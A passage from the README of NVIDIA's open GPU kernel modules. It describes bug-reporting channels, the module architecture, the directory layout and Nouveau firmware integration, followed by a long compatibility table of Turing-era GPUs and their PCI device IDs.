Issues section of the https://github.com/NVIDIA/open-gpu-kernel-modules
repository.
Further, any of the existing bug reporting venues can be used to communicate
problems to NVIDIA, such as our forum:
https://forums.developer.nvidia.com/c/gpu-graphics/linux/148
or linux-bugs@nvidia.com.
Please see the 'NVIDIA Contact Info and Additional Resources' section
of the NVIDIA GPU Driver README for details.
Please see the separate [SECURITY.md](SECURITY.md) document if you
believe you have discovered a security vulnerability in this software.
## Kernel Interface and OS-Agnostic Components of Kernel Modules
Most of NVIDIA's kernel modules are split into two components:
* An "OS-agnostic" component: this is the component of each kernel module
that is independent of operating system.
* A "kernel interface layer": this is the component of each kernel module
that is specific to the Linux kernel version and configuration.
When packaged in the NVIDIA .run installation package, the OS-agnostic
component is provided as a binary: it is large and time-consuming to
compile, so pre-built versions are provided so that the user does
not have to compile it during every driver installation. For the
nvidia.ko kernel module, this component is named "nv-kernel.o_binary".
For the nvidia-modeset.ko kernel module, this component is named
"nv-modeset-kernel.o_binary". Neither nvidia-drm.ko nor nvidia-uvm.ko
have OS-agnostic components.
The kernel interface layer component for each kernel module must be built
for the target kernel.
## Directory Structure Layout
- `kernel-open/` The kernel interface layer
- `kernel-open/nvidia/` The kernel interface layer for nvidia.ko
- `kernel-open/nvidia-drm/` The kernel interface layer for nvidia-drm.ko
- `kernel-open/nvidia-modeset/` The kernel interface layer for nvidia-modeset.ko
- `kernel-open/nvidia-uvm/` The kernel interface layer for nvidia-uvm.ko
- `src/` The OS-agnostic code
- `src/nvidia/` The OS-agnostic code for nvidia.ko
- `src/nvidia-modeset/` The OS-agnostic code for nvidia-modeset.ko
- `src/common/` Utility code used by one or more of nvidia.ko and nvidia-modeset.ko
- `nouveau/` Tools for integration with the Nouveau device driver
## Nouveau device driver integration
The Python script in the 'nouveau' directory is used to extract some of the
firmware binary images (and related data) encoded in the source code and
store them as distinct files. These files are used by the Nouveau device
driver to load and communicate with the GSP firmware.
The layout of the binary files is described in nouveau_firmware_layout.ods,
which is an OpenDocument Spreadsheet file, compatible with most spreadsheet
software applications.
## Compatible GPUs
The NVIDIA open kernel modules can be used on any Turing or later GPU
(see the table below). However, in the __DRIVER_VERION__ release, GeForce and
Workstation support is considered to be Beta quality. The open kernel modules
are suitable for broad usage, and NVIDIA requests feedback on any issues
encountered specific to them.
For details on feature support and limitations, see the NVIDIA GPU driver
end user README here:
https://us.download.nvidia.com/XFree86/Linux-x86_64/550.90.07/README/kernel_open.html
For vGPU support, please refer to the README.vgpu packaged in the vGPU Host
Package for more details.
In the below table, if three IDs are listed, the first is the PCI Device
ID, the second is the PCI Subsystem Vendor ID, and the third is the PCI
Subsystem Device ID.
| Product Name | PCI ID |
| ----------------------------------------------- | -------------- |
| NVIDIA TITAN RTX | 1E02 |
| NVIDIA GeForce RTX 2080 Ti | 1E04 |
| NVIDIA GeForce RTX 2080 Ti | 1E07 |
| Quadro RTX 6000 | 1E30 |
| Quadro RTX 8000 | 1E30 1028 129E |
| Quadro RTX 8000 | 1E30 103C 129E |
| Quadro RTX 8000 | 1E30 10DE 129E |
| Quadro RTX 6000 | 1E36 |
| Quadro RTX 8000 | 1E78 10DE 13D8 |
| Quadro RTX 6000 | 1E78 10DE 13D9 |
| NVIDIA GeForce RTX 2080 SUPER | 1E81 |
| NVIDIA GeForce RTX 2080 | 1E82 |
| NVIDIA GeForce RTX 2070 SUPER | 1E84 |
| NVIDIA GeForce RTX 2080 | 1E87 |
| NVIDIA GeForce RTX 2060 | 1E89 |
| NVIDIA GeForce RTX 2080 | 1E90 |
| NVIDIA GeForce RTX 2080 with Max-Q Design | 1E90 1025 1375 |
| NVIDIA GeForce RTX 2080 with Max-Q Design | 1E90 1028 08A1 |
| NVIDIA GeForce RTX 2080 with Max-Q Design | 1E90 1028 08A2 |
| NVIDIA GeForce RTX 2080 with Max-Q Design | 1E90 1028 08EA |
| NVIDIA GeForce RTX 2080 with Max-Q Design | 1E90 1028 08EB |
| NVIDIA GeForce RTX 2080 with Max-Q Design | 1E90 1028 08EC |
| NVIDIA GeForce RTX 2080 with Max-Q Design | 1E90 1028 08ED |
| NVIDIA GeForce RTX 2080 with Max-Q Design | 1E90 1028 08EE |
| NVIDIA GeForce RTX 2080 with Max-Q Design | 1E90 1028 08EF |
| NVIDIA GeForce RTX 2080 with Max-Q Design | 1E90 1028 093B |
| NVIDIA GeForce RTX 2080 with Max-Q Design | 1E90 1028 093C |
| NVIDIA GeForce RTX 2080 with Max-Q Design | 1E90 103C 8572 |
| NVIDIA GeForce RTX 2080 with Max-Q Design | 1E90 103C 8573 |
| NVIDIA GeForce RTX 2080 with Max-Q Design | 1E90 103C 8602 |
| NVIDIA GeForce RTX 2080 with Max-Q Design | 1E90 103C 8606 |
| NVIDIA GeForce RTX 2080 with Max-Q Design | 1E90 103C 86C6 |
| NVIDIA GeForce RTX 2080 with Max-Q Design | 1E90 103C 86C7 |
| NVIDIA GeForce RTX 2080 with Max-Q Design | 1E90 103C 87A6 |
| NVIDIA GeForce RTX 2080 with Max-Q Design | 1E90 103C 87A7 |
| NVIDIA GeForce RTX 2080 with Max-Q Design | 1E90 1043 131F |
| NVIDIA GeForce RTX 2080 with Max-Q Design | 1E90 1043 137F |
| NVIDIA GeForce RTX 2080 with Max-Q Design | 1E90 1043 141F |
| NVIDIA GeForce RTX 2080 with Max-Q Design | 1E90 1043 1751 |
| NVIDIA GeForce RTX 2080 with Max-Q Design | 1E90 1458 1660 |
| NVIDIA GeForce RTX 2080 with Max-Q Design | 1E90 1458 1661 |
| NVIDIA GeForce RTX 2080 with Max-Q Design | 1E90 1458 1662 |
| NVIDIA GeForce RTX 2080 with Max-Q Design | 1E90 1458 75A6 |
| NVIDIA GeForce RTX 2080 with Max-Q Design | 1E90 1458 75A7 |
| NVIDIA GeForce RTX 2080 with Max-Q Design | 1E90 1458 86A6 |
| NVIDIA GeForce RTX 2080 with Max-Q Design | 1E90 1458 86A7 |
| NVIDIA GeForce RTX 2080 with Max-Q Design | 1E90 1462 1274 |
| NVIDIA GeForce RTX 2080 with Max-Q Design | 1E90 1462 1277 |
| NVIDIA GeForce RTX 2080 with Max-Q Design | 1E90 152D 1220 |
| NVIDIA GeForce RTX 2080 with Max-Q Design | 1E90 1558 95E1 |
| NVIDIA GeForce RTX 2080 with Max-Q Design | 1E90 1558 97E1 |
| NVIDIA GeForce RTX 2080 with Max-Q Design | 1E90 1A58 2002 |
| NVIDIA GeForce RTX 2080 with Max-Q Design | 1E90 1A58 2005 |
| NVIDIA GeForce RTX 2080 with Max-Q Design | 1E90 1A58 2007 |
| NVIDIA GeForce RTX 2080 with Max-Q Design | 1E90 1A58 3000 |
| NVIDIA GeForce RTX 2080 with Max-Q Design | 1E90 1A58 3001 |
| NVIDIA GeForce RTX 2080 with Max-Q Design | 1E90 1D05 1069 |
| NVIDIA GeForce RTX 2070 Super | 1E91 |
| NVIDIA GeForce RTX 2070 Super with Max-Q Design | 1E91 103C 8607 |
| NVIDIA GeForce RTX 2070 Super with Max-Q Design | 1E91 103C 8736 |
| NVIDIA GeForce RTX 2070 Super with Max-Q Design | 1E91 103C 8738 |
| NVIDIA GeForce RTX 2070 Super with Max-Q Design | 1E91 103C 8772 |
| NVIDIA GeForce RTX 2070 Super with Max-Q Design | 1E91 103C 878A |
| NVIDIA GeForce RTX 2070 Super with Max-Q Design | 1E91 103C 878B |
| NVIDIA GeForce RTX 2070 Super with Max-Q Design | 1E91 1043 1E61 |
| NVIDIA GeForce RTX 2070 Super with Max-Q Design | 1E91 1458 1511 |
| NVIDIA GeForce RTX 2070 Super with Max-Q Design | 1E91 1458 75B3 |
| NVIDIA GeForce RTX 2070 Super with Max-Q Design | 1E91 1458 75B4 |
| NVIDIA GeForce RTX 2070 Super with Max-Q Design | 1E91 1458 76B2 |
| NVIDIA GeForce RTX 2070 Super with Max-Q Design | 1E91 1458 76B3 |
| NVIDIA GeForce RTX 2070 Super with Max-Q Design | 1E91 1458 78A2 |
| NVIDIA GeForce RTX 2070 Super with Max-Q Design | 1E91 1458 78A3 |
| NVIDIA GeForce RTX 2070 Super with Max-Q Design | 1E91 1458 86B2 |
| NVIDIA GeForce RTX 2070 Super with Max-Q Design | 1E91 1458 86B3 |
| NVIDIA GeForce RTX 2070 Super with Max-Q Design | 1E91 1462 12AE |
| NVIDIA GeForce RTX 2070 Super with Max-Q Design | 1E91 1462 12B0 |
| NVIDIA GeForce RTX 2070 Super with Max-Q Design | 1E91 1462 12C6 |
| NVIDIA GeForce RTX 2070 Super with Max-Q Design | 1E91 17AA 22C3 |
| NVIDIA GeForce RTX 2070 Super with Max-Q Design | 1E91 17AA 22C5 |
| NVIDIA GeForce RTX 2070 Super with Max-Q Design | 1E91 1A58 2009 |
| NVIDIA GeForce RTX 2070 Super with Max-Q Design | 1E91 1A58 200A |
| NVIDIA GeForce RTX 2070 Super with Max-Q Design | 1E91 1A58 3002 |
| NVIDIA GeForce RTX 2070 Super with Max-Q Design | 1E91 8086 3012 |
| NVIDIA GeForce RTX 2080 Super | 1E93 |
| NVIDIA GeForce RTX 2080 Super with Max-Q Design | 1E93 1025 1401 |
| NVIDIA GeForce RTX 2080 Super with Max-Q Design | 1E93 1025 149C |
| NVIDIA GeForce RTX 2080 Super with Max-Q Design | 1E93 1028 09D2 |
| NVIDIA GeForce RTX 2080 Super with Max-Q Design | 1E93 103C 8607 |
| NVIDIA GeForce RTX 2080 Super with Max-Q Design | 1E93 103C 86C7 |
| NVIDIA GeForce RTX 2080 Super with Max-Q Design | 1E93 103C 8736 |
| NVIDIA GeForce RTX 2080 Super with Max-Q Design | 1E93 103C 8738 |
| NVIDIA GeForce RTX 2080 Super with Max-Q Design | 1E93 103C 8772 |
| NVIDIA GeForce RTX 2080 Super with Max-Q Design | 1E93 103C 87A6 |
| NVIDIA GeForce RTX 2080 Super with Max-Q Design | 1E93 103C 87A7 |
| NVIDIA GeForce RTX 2080 Super with Max-Q Design | 1E93 1458 75B1 |
| NVIDIA GeForce RTX 2080 Super with Max-Q Design | 1E93 1458 75B2 |
| NVIDIA GeForce RTX 2080 Super with Max-Q Design | 1E93 1458 76B0 |
| NVIDIA GeForce RTX 2080 Super with Max-Q Design | 1E93 1458 76B1 |
| NVIDIA GeForce RTX 2080 Super with Max-Q Design | 1E93 1458 78A0 |
| NVIDIA GeForce RTX 2080 Super with Max-Q Design | 1E93 1458 78A1 |
| NVIDIA GeForce RTX 2080 Super with Max-Q Design | 1E93 1458 86B0 |
| NVIDIA GeForce RTX 2080 Super with Max-Q Design | 1E93 1458 86B1 |
| NVIDIA GeForce RTX 2080 Super with Max-Q Design | 1E93 1462 12AE |
| NVIDIA GeForce RTX 2080 Super with Max-Q Design | 1E93 1462 12B0 |
| NVIDIA GeForce RTX 2080 Super with Max-Q Design | 1E93 1462 12B4 |
| NVIDIA GeForce RTX 2080 Super with Max-Q Design | 1E93 1462 12C6 |
| NVIDIA GeForce RTX 2080 Super with Max-Q Design | 1E93 1558 50D3 |
| NVIDIA GeForce RTX 2080 Super with Max-Q Design | 1E93 1558 70D1 |
| NVIDIA GeForce RTX 2080 Super with Max-Q Design | 1E93 17AA 22C3 |
| NVIDIA GeForce RTX 2080 Super with Max-Q Design | 1E93 17AA 22C5 |
| NVIDIA GeForce RTX 2080 Super with Max-Q Design | 1E93 1A58 2009 |
| NVIDIA GeForce RTX 2080 Super with Max-Q Design | 1E93 1A58 200A |
| NVIDIA GeForce RTX 2080 Super with Max-Q Design | 1E93 1A58 3002 |
| NVIDIA GeForce RTX 2080 Super with Max-Q Design | 1E93 1D05 1089 |
| Quadro RTX 5000 | 1EB0 |
| Quadro RTX 4000 | 1EB1 |
| Quadro RTX 5000 | 1EB5 |
| Quadro RTX 5000 with Max-Q Design | 1EB5 1025 1375 |
| Quadro RTX 5000 with Max-Q Design | 1EB5 1025 1401 |
| Quadro RTX 5000 with Max-Q Design | 1EB5 1025 149C |
| Quadro RTX 5000 with Max-Q Design | 1EB5 1028 09C3 |
| Quadro RTX 5000 with Max-Q Design | 1EB5 103C 8736 |
| Quadro RTX 5000 with Max-Q Design | 1EB5 103C 8738 |
| Quadro RTX 5000 with Max-Q Design | 1EB5 103C 8772 |
| Quadro RTX 5000 with Max-Q Design | 1EB5 103C 8780 |
| Quadro RTX 5000 with Max-Q Design | 1EB5 103C 8782 |
| Quadro RTX 5000 with Max-Q Design | 1EB5 103C 8783 |
| Quadro RTX 5000 with Max-Q Design | 1EB5 103C 8785 |
| Quadro RTX 5000 with Max-Q Design | 1EB5 1043 1DD1 |
| Quadro RTX 5000 with Max-Q Design | 1EB5 1462 1274 |
| Quadro RTX 5000 with Max-Q Design | 1EB5 1462 12B0 |
| Quadro RTX 5000 with Max-Q Design | 1EB5 1462 12C6 |
| Quadro RTX 5000 with Max-Q Design | 1EB5 17AA 22B8 |
| Quadro RTX 5000 with Max-Q Design | 1EB5 17AA 22BA |
| Quadro RTX 5000 with Max-Q Design | 1EB5 1A58 2005 |
| Quadro RTX 5000 with Max-Q Design | 1EB5 1A58 2007 |
| Quadro RTX 5000 with Max-Q Design | 1EB5 1A58 2008 |
| Quadro RTX 5000 with Max-Q Design | 1EB5 1A58 200A |
| Quadro RTX 4000 | 1EB6 |
| Quadro RTX 4000 with Max-Q Design | 1EB6 1028 09C3 |
| Quadro RTX 4000 with Max-Q Design | 1EB6 103C 8736 |
| Quadro RTX 4000 with Max-Q Design | 1EB6 103C 8738 |
| Quadro RTX 4000 with Max-Q Design | 1EB6 103C 8772 |
| Quadro RTX 4000 with Max-Q Design | 1EB6 103C 8780 |
| Quadro RTX 4000 with Max-Q Design | 1EB6 103C 8782 |
| Quadro RTX 4000 with Max-Q Design | 1EB6 103C 8783 |
| Quadro RTX 4000 with Max-Q Design | 1EB6 103C 8785 |
| Quadro RTX 4000 with Max-Q Design | 1EB6 1462 1274 |
| Quadro RTX 4000 with Max-Q Design | 1EB6 1462 1277 |
| Quadro RTX 4000 with Max-Q Design | 1EB6 1462 12B0 |
| Quadro RTX 4000 with Max-Q Design | 1EB6 1462 12C6 |
| Quadro RTX 4000 with Max-Q Design | 1EB6 17AA 22B8 |
| Quadro RTX 4000 with Max-Q Design | 1EB6 17AA 22BA |
| NVIDIA GeForce RTX 2070 SUPER | 1EC2 |
| NVIDIA GeForce RTX 2070 SUPER | 1EC7 |
| NVIDIA GeForce RTX 2080 | 1ED0 |
| NVIDIA GeForce RTX 2080 with Max-Q Design | 1ED0 1025 132D |
| NVIDIA GeForce RTX 2080 with Max-Q Design | 1ED0 1028 08ED |
| NVIDIA GeForce RTX 2080 with Max-Q Design | 1ED0 1028 08EE |
| NVIDIA GeForce RTX 2080 with Max-Q Design | 1ED0 1028 08EF |
| NVIDIA GeForce RTX 2080 with Max-Q Design | 1ED0 103C 8572 |
| NVIDIA GeForce RTX 2080 with Max-Q Design | 1ED0 103C 8573 |
| NVIDIA GeForce RTX 2080 with Max-Q Design | 1ED0 103C 8600 |
| NVIDIA GeForce RTX 2080 with Max-Q Design | 1ED0 103C 8605 |
| NVIDIA GeForce RTX 2080 with Max-Q Design | 1ED0 1043 138F |
| NVIDIA GeForce RTX 2080 with Max-Q Design | 1ED0 1043 15C1 |
| NVIDIA GeForce RTX 2080 with Max-Q Design | 1ED0 17AA 3FEE |
| NVIDIA GeForce RTX 2080 with Max-Q Design | 1ED0 17AA 3FFE |
| NVIDIA GeForce RTX 2070 Super | 1ED1 |
| NVIDIA GeForce RTX 2070 Super with Max-Q Design | 1ED1 1025 1432 |
| NVIDIA GeForce RTX 2070 Super with Max-Q Design | 1ED1 103C 8746 |
| NVIDIA GeForce RTX 2070 Super with Max-Q Design | 1ED1 103C 878A |
| NVIDIA GeForce RTX 2070 Super with Max-Q Design | 1ED1 1043 165F |
| NVIDIA GeForce RTX 2070 Super with Max-Q Design | 1ED1 144D C192 |
| NVIDIA GeForce RTX 2070 Super with Max-Q Design | 1ED1 17AA 3FCE |
| NVIDIA GeForce RTX 2070 Super with Max-Q Design | 1ED1 17AA 3FCF |
| NVIDIA GeForce RTX 2070 Super with Max-Q Design | 1ED1 17AA 3FD0 |
| NVIDIA GeForce RTX 2080 Super | 1ED3 |
| NVIDIA GeForce RTX 2080 Super with Max-Q Design | 1ED3 1025 1432 |
| NVIDIA GeForce RTX 2080 Super with Max-Q Design | 1ED3 1028 09D1 |
| NVIDIA GeForce RTX 2080 Super with Max-Q Design | 1ED3 103C 8746 |
| NVIDIA GeForce RTX 2080 Super with Max-Q Design | 1ED3 103C 878A |
| NVIDIA GeForce RTX 2080 Super with Max-Q Design | 1ED3 1043 1D61 |
| NVIDIA GeForce RTX 2080 Super with Max-Q Design | 1ED3 1043 1E51 |
| NVIDIA GeForce RTX 2080 Super with Max-Q Design | 1ED3 1043 1F01 |
| NVIDIA GeForce RTX 2080 Super with Max-Q Design | 1ED3 17AA 3FCE |
| NVIDIA GeForce RTX 2080 Super with Max-Q Design | 1ED3 17AA 3FCF |
| NVIDIA GeForce RTX 2080 Super with Max-Q Design | 1ED3 17AA 3FD0 |
| Quadro RTX 5000 | 1EF5 |
| NVIDIA GeForce RTX 2070 | 1F02 |
| NVIDIA GeForce RTX 2060 | 1F03 |
| NVIDIA GeForce RTX 2060 SUPER | 1F06 |
| NVIDIA GeForce RTX 2070 | 1F07 |
| NVIDIA GeForce RTX 2060 | 1F08 |
| NVIDIA GeForce GTX 1650 | 1F0A |
| NVIDIA GeForce RTX 2070 | 1F10 |
| NVIDIA GeForce RTX 2070 with Max-Q Design | 1F10 1025 132D |
| NVIDIA GeForce RTX 2070 with Max-Q Design | 1F10 1025 1342 |
| NVIDIA GeForce RTX 2070 with Max-Q Design | 1F10 1028 08A1 |
| NVIDIA GeForce RTX 2070 with Max-Q Design | 1F10 1028 08A2 |
| NVIDIA GeForce RTX 2070 with Max-Q Design | 1F10 1028 08EA |
| NVIDIA GeForce RTX 2070 with Max-Q Design | 1F10 1028 08EB |
| NVIDIA GeForce RTX 2070 with Max-Q Design | 1F10 1028 08EC |
| NVIDIA GeForce RTX 2070 with Max-Q Design | 1F10 1028 08ED |
| NVIDIA GeForce RTX 2070 with Max-Q Design | 1F10 1028 08EE |
| NVIDIA GeForce RTX 2070 with Max-Q Design | 1F10 1028 08EF |
| NVIDIA GeForce RTX 2070 with Max-Q Design | 1F10 1028 093B |
| NVIDIA GeForce RTX 2070 with Max-Q Design | 1F10 1028 093C |
| NVIDIA GeForce RTX 2070 with Max-Q Design | 1F10 103C 8572 |
| NVIDIA GeForce RTX 2070 with Max-Q Design | 1F10 103C 8573 |
| NVIDIA GeForce RTX 2070 with Max-Q Design | 1F10 103C 8602 |
| NVIDIA GeForce RTX 2070 with Max-Q Design | 1F10 103C 8606 |
| NVIDIA GeForce RTX 2070 with Max-Q Design | 1F10 1043 132F |
| NVIDIA GeForce RTX 2070 with Max-Q Design | 1F10 1043 136F |
| NVIDIA GeForce RTX 2070 with Max-Q Design | 1F10 1043 1881 |
| NVIDIA GeForce RTX 2070 with Max-Q Design | 1F10 1043 1E6E |
| NVIDIA GeForce RTX 2070 with Max-Q Design | 1F10 1458 1658 |
| NVIDIA GeForce RTX 2070 with Max-Q Design | 1F10 1458 1663 |
| NVIDIA GeForce RTX 2070 with Max-Q Design | 1F10 1458 1664 |
| NVIDIA GeForce RTX 2070 with Max-Q Design | 1F10 1458 75A4 |
| NVIDIA GeForce RTX 2070 with Max-Q Design | 1F10 1458 75A5 |
| NVIDIA GeForce RTX 2070 with Max-Q Design | 1F10 1458 86A4 |
| NVIDIA GeForce RTX 2070 with Max-Q Design | 1F10 1458 86A5 |
| NVIDIA GeForce RTX 2070 with Max-Q Design | 1F10 1462 1274 |
| NVIDIA GeForce RTX 2070 with Max-Q Design | 1F10 1462 1277 |
| NVIDIA GeForce RTX 2070 with Max-Q Design | 1F10 1558 95E1 |
| NVIDIA GeForce RTX 2070 with Max-Q Design | 1F10 1558 97E1 |
| NVIDIA GeForce RTX 2070 with Max-Q Design | 1F10 1A58 2002 |
| NVIDIA GeForce RTX 2070 with Max-Q Design | 1F10 1A58 2005 |
| NVIDIA GeForce RTX 2070 with Max-Q Design | 1F10 1A58 2007 |
| NVIDIA GeForce RTX 2070 with Max-Q Design | 1F10 1A58 3000 |
| NVIDIA GeForce RTX 2070 with Max-Q Design | 1F10 1A58 3001 |
| NVIDIA GeForce RTX 2070 with Max-Q Design | 1F10 1D05 105E |
| NVIDIA GeForce RTX 2070 with Max-Q Design | 1F10 1D05 1070 |
| NVIDIA GeForce RTX 2070 with Max-Q Design | 1F10 1D05 2087 |
| NVIDIA GeForce RTX 2070 with Max-Q Design | 1F10 8086 2087 |
| NVIDIA GeForce RTX 2060 | 1F11 |
| NVIDIA GeForce RTX 2060 | 1F12 |
| NVIDIA GeForce RTX 2060 with Max-Q Design | 1F12 1028 098F |
| NVIDIA GeForce RTX 2060 with Max-Q Design | 1F12 103C 8741 |
| NVIDIA GeForce RTX 2060 with Max-Q Design | 1F12 103C 8744 |
| NVIDIA GeForce RTX 2060 with Max-Q Design | 1F12 103C 878E |
| NVIDIA GeForce RTX 2060 with Max-Q Design | 1F12 103C 880E |
| NVIDIA GeForce RTX 2060 with Max-Q Design | 1F12 1043 1E11 |
| NVIDIA GeForce RTX 2060 with Max-Q Design | 1F12 1043 1F11 |
| NVIDIA GeForce RTX 2060 with Max-Q Design | 1F12 1462 12D9 |
| NVIDIA GeForce RTX 2060 with Max-Q Design | 1F12 17AA 3801 |
| NVIDIA GeForce RTX 2060 with Max-Q Design | 1F12 17AA 3802 |
| NVIDIA GeForce RTX 2060 with Max-Q Design | 1F12 17AA 3803 |
| NVIDIA GeForce RTX 2070 | 1F14 |
| NVIDIA GeForce RTX 2070 with Max-Q Design | 1F14 1025 1401 |
| NVIDIA GeForce RTX 2070 with Max-Q Design | 1F14 1025 1432 |
| NVIDIA GeForce RTX 2070 with Max-Q Design | 1F14 1025 1442 |
| NVIDIA GeForce RTX 2070 with Max-Q Design | 1F14 1025 1446 |
| NVIDIA GeForce RTX 2070 with Max-Q Design | 1F14 1025 147D |
| NVIDIA GeForce RTX 2070 with Max-Q Design | 1F14 1028 09E2 |
| NVIDIA GeForce RTX 2070 with Max-Q Design | 1F14 1028 09F3 |
| NVIDIA GeForce RTX 2070 with Max-Q Design | 1F14 103C 8607 |
| NVIDIA GeForce RTX 2070 with Max-Q Design | 1F14 103C 86C6 |
| NVIDIA GeForce RTX 2070 with Max-Q Design | 1F14 103C 86C7 |
| NVIDIA GeForce RTX 2070 with Max-Q Design | 1F14 103C 8736 |
| NVIDIA GeForce RTX 2070 with Max-Q Design | 1F14 103C 8738 |
| NVIDIA GeForce RTX 2070 with Max-Q Design | 1F14 103C 8746 |
| NVIDIA GeForce RTX 2070 with Max-Q Design | 1F14 103C 8772 |
| NVIDIA GeForce RTX 2070 with Max-Q Design | 1F14 103C 878A |
| NVIDIA GeForce RTX 2070 with Max-Q Design | 1F14 103C 878B |
| NVIDIA GeForce RTX 2070 with Max-Q Design | 1F14 103C 87A6 |
| NVIDIA GeForce RTX 2070 with Max-Q Design | 1F14 103C 87A7 |
| NVIDIA GeForce RTX 2070 with Max-Q Design | 1F14 1043 174F |
| NVIDIA GeForce RTX 2070 with Max-Q Design | 1F14 1458 1512 |
| NVIDIA GeForce RTX 2070 with Max-Q Design | 1F14 1458 75B5 |
| NVIDIA GeForce RTX 2070 with Max-Q Design | 1F14 1458 75B6 |
| NVIDIA GeForce RTX 2070 with Max-Q Design | 1F14 1458 76B4 |
| NVIDIA GeForce RTX 2070 with Max-Q Design | 1F14 1458 76B5 |
| NVIDIA GeForce RTX 2070 with Max-Q Design | 1F14 1458 78A4 |
| NVIDIA GeForce RTX 2070 with Max-Q Design | 1F14 1458 78A5 |
| NVIDIA GeForce RTX 2070 with Max-Q Design | 1F14 1458 86B4 |
| NVIDIA GeForce RTX 2070 with Max-Q Design | 1F14 1458 86B5 |
| NVIDIA GeForce RTX 2070 with Max-Q Design | 1F14 1462 12AE |
| NVIDIA GeForce RTX 2070 with Max-Q Design | 1F14 1462 12B0 |
| NVIDIA GeForce RTX 2070 with Max-Q Design | 1F14 1462 12C6 |
| NVIDIA GeForce RTX 2070 with Max-Q Design | 1F14 1558 50D3 |
| NVIDIA GeForce RTX 2070 with Max-Q Design | 1F14 1558 70D1 |
| NVIDIA GeForce RTX 2070 with Max-Q Design | 1F14 1A58 200C |
| NVIDIA GeForce RTX 2070 with Max-Q Design | 1F14 1A58 2011 |
| NVIDIA GeForce RTX 2070 with Max-Q Design | 1F14 1A58 3002 |
| NVIDIA GeForce RTX 2060 | 1F15 |
| Quadro RTX 3000 | 1F36 |
| Quadro RTX 3000 with Max-Q Design | 1F36 1028 0990 |
| Quadro RTX 3000 with Max-Q Design | 1F36 103C 8736 |
| Quadro RTX 3000 with Max-Q Design | 1F36 103C 8738 |
| Quadro RTX 3000 with Max-Q Design | 1F36 103C 8772 |
| Quadro RTX 3000 with Max-Q Design | 1F36 1043 13CF |
| Quadro RTX 3000 with Max-Q Design | 1F36 1414 0032 |
| NVIDIA GeForce RTX 2060 SUPER | 1F42 |
| NVIDIA GeForce RTX 2060 SUPER | 1F47 |
| NVIDIA GeForce RTX 2070 | 1F50 |
| NVIDIA GeForce RTX 2070 with Max-Q Design | 1F50 1028 08ED |
| NVIDIA GeForce RTX 2070 with Max-Q Design | 1F50 1028 08EE |
| NVIDIA GeForce RTX 2070 with Max-Q Design | 1F50 1028 08EF |
| NVIDIA GeForce RTX 2070 with Max-Q Design | 1F50 103C 8572 |
| NVIDIA GeForce RTX 2070 with Max-Q Design | 1F50 103C 8573 |
| NVIDIA GeForce RTX 2070 with Max-Q Design | 1F50 103C 8574 |
| NVIDIA GeForce RTX 2070 with Max-Q Design | 1F50 103C 8600 |
| NVIDIA GeForce RTX 2070 with Max-Q Design | 1F50 103C 8605 |
| NVIDIA GeForce RTX 2070 with Max-Q Design | 1F50 17AA 3FEE |
| NVIDIA GeForce RTX 2070 with Max-Q Design | 1F50 17AA 3FFE |
| NVIDIA GeForce RTX 2060 | 1F51 |
| NVIDIA GeForce RTX 2070 | 1F54 |
| NVIDIA GeForce RTX 2070 with Max-Q Design | 1F54 103C 878A |
| NVIDIA GeForce RTX 2070 with Max-Q Design | 1F54 17AA 3FCE |
| NVIDIA GeForce RTX 2070 with Max-Q Design | 1F54 17AA 3FCF |
| NVIDIA GeForce RTX 2070 with Max-Q Design | 1F54 17AA 3FD0 |
| NVIDIA GeForce RTX 2060 | 1F55 |
| Quadro RTX 3000 | 1F76 |
| Matrox D-Series D2450 | 1F76 102B 2800 |
| Matrox D-Series D2480 | 1F76 102B 2900 |
| NVIDIA GeForce GTX 1650 | 1F82 |
| NVIDIA GeForce GTX 1630 | 1F83 |
| NVIDIA GeForce GTX 1650 | 1F91 |
| NVIDIA GeForce GTX 1650 with Max-Q Design | 1F91 103C 863E |
| NVIDIA GeForce GTX 1650 with Max-Q Design | 1F91 103C 86E7 |
| NVIDIA GeForce GTX 1650 with Max-Q Design | 1F91 103C 86E8 |
| NVIDIA GeForce GTX 1650 with Max-Q Design | 1F91 1043 12CF |
| NVIDIA GeForce GTX 1650 with Max-Q Design | 1F91 1043 156F |
| NVIDIA GeForce GTX 1650 with Max-Q Design | 1F91 1414 0032 |
| NVIDIA GeForce GTX 1650 with Max-Q Design | 1F91 144D C822 |
| NVIDIA GeForce GTX 1650 with Max-Q Design | 1F91 1462 127E |
| NVIDIA GeForce GTX 1650 with Max-Q Design | 1F91 1462 1281 |
| NVIDIA GeForce GTX 1650 with Max-Q Design | 1F91 1462 1284 |
| NVIDIA GeForce GTX 1650 with Max-Q Design | 1F91 1462 1285 |
| NVIDIA GeForce GTX 1650 with Max-Q Design | 1F91 1462 129C |
| NVIDIA GeForce GTX 1650 with Max-Q Design | 1F91 17AA 229F |
| NVIDIA GeForce GTX 1650 with Max-Q Design | 1F91 17AA 3802 |
| NVIDIA GeForce GTX 1650 with Max-Q Design | 1F91 17AA 3806 |
| NVIDIA GeForce GTX 1650 with Max-Q Design | 1F91 17AA 3F1A |
| NVIDIA GeForce GTX 1650 with Max-Q Design | 1F91 1A58 1001 |
| NVIDIA GeForce GTX 1650 Ti | 1F95 |
| NVIDIA GeForce GTX 1650 Ti with Max-Q Design | 1F95 1025 1479 |
| NVIDIA GeForce GTX 1650 Ti with Max-Q Design | 1F95 1025 147A |
| NVIDIA GeForce GTX 1650 Ti with Max-Q Design | 1F95 1025 147B |
| NVIDIA GeForce GTX 1650 Ti with Max-Q Design | 1F95 1025 147C |
| NVIDIA GeForce GTX 1650 Ti with Max-Q Design | 1F95 103C 86E7 |
| NVIDIA GeForce GTX 1650 Ti with Max-Q Design | 1F95 103C 86E8 |
| NVIDIA GeForce GTX 1650 Ti with Max-Q Design | 1F95 103C 8815 |
| NVIDIA GeForce GTX 1650 Ti with Max-Q Design | 1F95 1043 1DFF |
| NVIDIA GeForce GTX 1650 Ti with Max-Q Design | 1F95 1043 1E1F |
| NVIDIA GeForce GTX 1650 Ti with Max-Q Design | 1F95 144D C838 |
| NVIDIA GeForce GTX 1650 Ti with Max-Q Design | 1F95 1462 12BD |
| NVIDIA GeForce GTX 1650 Ti with Max-Q Design | 1F95 1462 12C5 |
| NVIDIA GeForce GTX 1650 Ti with Max-Q Design | 1F95 1462 12D2 |
| NVIDIA GeForce GTX 1650 Ti with Max-Q Design | 1F95 17AA 22C0 |
| NVIDIA GeForce GTX 1650 Ti with Max-Q Design | 1F95 17AA 22C1 |
| NVIDIA GeForce GTX 1650 Ti with Max-Q Design | 1F95 17AA 3837 |
| NVIDIA GeForce GTX 1650 Ti with Max-Q Design | 1F95 17AA 3F95 |
